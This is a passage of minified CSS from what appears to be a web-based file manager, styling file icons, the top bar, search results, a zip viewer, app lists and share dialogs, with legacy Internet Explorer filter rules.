\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/setting.png?ver=3.30',sizingMethod='scale');}.x-appStore{background-image:url("../../../images/file_icon/icon_others/appStore.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.label{font-weight:400;font-size:1em;}.label.label-blue-deep{background:#1b63ab;color:#fff;}.label.label-blue-nomal{background:#39f;color:#fff;}.label.label-blue-light{background:#d4e9ff;color:#39f;}.label.label-grey-deep{background:#464c5b;color:#fff;}.label.label-grey-nomal{background:#657180;color:#fff;}.label.label-grey-light{background:#9ea7b4;color:#fff;}.label.label-yellow-deep{background:#ff9900;color:#fff;}.label.label-yellow-nomal{background:#ffc267;color:#fff;}.label.label-yellow-light{background:#ffe2b6;color:#ff9900;}.label.label-green-deep{background:#068c49;color:#fff;}.label.label-green-nomal{background:#00cc66;color:#fff;}.label.label-green-light{background:#beffde;color:#068c49;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple 